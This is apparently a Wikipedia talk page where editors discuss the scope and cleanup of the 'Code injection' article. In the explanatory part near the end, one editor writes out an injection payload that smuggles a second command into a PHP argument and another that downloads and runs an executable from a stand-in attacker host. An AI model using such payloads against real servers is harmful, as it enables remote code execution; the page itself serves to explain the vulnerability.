Talk:Code injection

Cleanup!

This could be a very interesting article and I have already learned a lot from it, but it needs attention:

A little more background could be set; the article could be confusing for people not familiar with the subject (though that said, you're unlikely to stumble on this article.)
There seems to be a little overuse of bold/italics here and their use is not consistent. Sometimes bold is used and sometimes italics are used.
More expansion to the "HTML/Script Injection" section?

I'll do what I can later since this looks a very promising article. --82.18.240.96 21:01, 3 January 2006 (UTC)[reply]

I'd love to help on this article, since it is very much related to Buffer overflow and Shellcode, which I have done alot of work on. Anyone else on board? -- Tompsci 17:54, 11 January 2006 (UTC)[reply]

I'm responsible for some parts of the mess here :-) I Suggest:

Move the input validation etc parts to a new article and link to it.
Adding a non-technical section which describes the issue in a broader, less technical, manner. --Blaufish 16:32, 3 May 2006 (UTC)[reply]

I think it would be useful to have a page called "Command Injection" which links to "Code Injection" as a redirect. Am I correct in thinking they are the same thing? --Annmarie westgate 14:24, 12 February 2007 (UTC)[reply]

I added the redirect today --Annmarie westgate 15:55, 13 February 2007 (UTC)[reply]

I totally stepped on the first code injection example for two reasons. For one that case is NEVER going to happen in REAL software EVER. At no time will a comment from a web forum be passed to system(). This is not going to happen because there is no absolutely no constructive reason to do this. Also I think that more people have seen HTML than seen the command-line interface.

How do you explain code injection to someone who has never written code? I think that the understanding of code should be a pre-requisite to reading this article.

Whats the difference?

Would like to know whats the difference between Throw away bad characters and Filter out known bads-- seems to be the same thing. Interestingly, "Throw away bad characters" is termed as practical and widely used and the "Filter out known bads" is termed as the worst form of defence. Maybe I am ignorant and don't get it - can somebody please explain?

I think you're right, so I removed it. 131.211.81.206 09:15, 6 April 2006 (UTC)[reply]

The world "filter" seems to be inconsistently used among all the sites I've seen, usually to mean "sanitize non-destructively" but sometimes to mean "strip out". I think it would be helpful to disambiguate in the article 64.171.57.66 22:41, 18 April 2006 (UTC)[reply]

I moved the entire section of secure input / output management to a new page, so the subjects could be expanded and clarified. I agree to 100% that the same thing was presented twice :-) --Blaufish 18:45, 3 May 2006 (UTC)[reply]

Throwing away and filtering are the same thing. HOWEVER Filtering and escaping are totally different, and they are both common methods with dealing with code injection. —Preceding unsigned comment added by 24.121.216.47 (talk) 06:15, 1 February 2008 (UTC)[reply]

scope of code injection to include or not include buffer overflows etc

Hmmm... Personally I view Code Injection as the examples stated, e.g. sql injection, shell injection, php injection etc etc etc - all cases of attacks against a eval(), sql_query(), include() like command being fead with user input.

With the current initial description of Code Injection, one might interpret it as buffer overflows and formation string vulnerabilities (which allows injecting machine code into an application) as being code injection.

Altough these problems are similar (they allow aribitrary code execution), they are fundamentally different because they rely on memory problems rather than the "obviously stupid" eval( $user_input ).

I think we should clarify the description to NOT include Buffer Overflows and similar memory problems, but I'm not entirely certain. Opinions please! --Blaufish 19:36, 3 May 2006 (UTC)[reply]

I think you could mention buffer overflows as a form of code injection as long as you make clear the usage of the term "code injection". In my mind any user input which can be executed beyond that intended to be by the programmer would qualify. This includes but is not limited to:

SQL Injection
eval() Injection
Some XSS Attacks
Standard Buffer Overflows (those including payloads)
DLL Injection?
Windows Shatter attacks

I don't really have the time to contribute heavily to this article anymore (exam term). But I would be happy to discuss it. -- Tompsci 23:21, 3 May 2006 (UTC)[reply]

Rather than a blow for blow account, it would be useful to discuss what's common to all these vulnerabilities, i.e. lack of input checking and flaws in such checking (Hotmail.com vulnerabilities?). -- Tompsci 23:27, 3 May 2006 (UTC)[reply]

I'm thinking the distinguishing feature of this type of attack is that you have one language lurking inside another. SQL in java or PHP. I think the example with "HTML Injection in IE7 Via Infected DLL" is incorrect. That sounds like an attack on the integrity of the message in transit. Like the attacker is substituting the original with a spoofed message.129.244.241.94 06:47, 13 November 2007 (UTC)[reply]

I think that the Buffer overflow is a great example of code injection. I think it is "code injection" regardless of the type of code being injected. In the case of buffer overflows and some format string flaws MACHINE code is being injected. Although the phrase "code injection" does not state if the code is being executed, but in that case code injection wouldn't be a flaw... I'll hold off editing the page for now. —Preceding unsigned comment added by Firealwaysworks (talk • contribs) 02:42, 25 January 2008 (UTC)[reply]

What is the answer?

"What happens if arg is set to "10 ; system(\"/bin/echo uh-oh\");" ?"

Should not the encyclopedia answer me that instead of asking? --Petervaz 13:03, 28 February 2007 (UTC)[reply]

Fixed. It runs the program /bin/echo (which just prints some text) on the server. This could be extended to any code, even a sequence of instructions,

system(\"wget //mallory/bad.exe && bad.exe\")

would download arbitrary code and execute it on the webserver with the same permissions as the php code. --h2g2bob 13:45, 28 February 2007 (UTC)[reply]

Include file injection example - how is it possible?

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR...

How could anyone insert arbitrary values in COLOR given a non-editable drop-down list or listbox as the only means of input? --208.138.31.76 (talk) 20:00, 25 January 2008 (UTC)[reply]

wow dude you don't have a clue, do you even write code!? The HTML drop down table is just for the client! You can send any string you want as $_GET, $_POST, $_COOKIE, $_FILE and most $_SERVER super globals.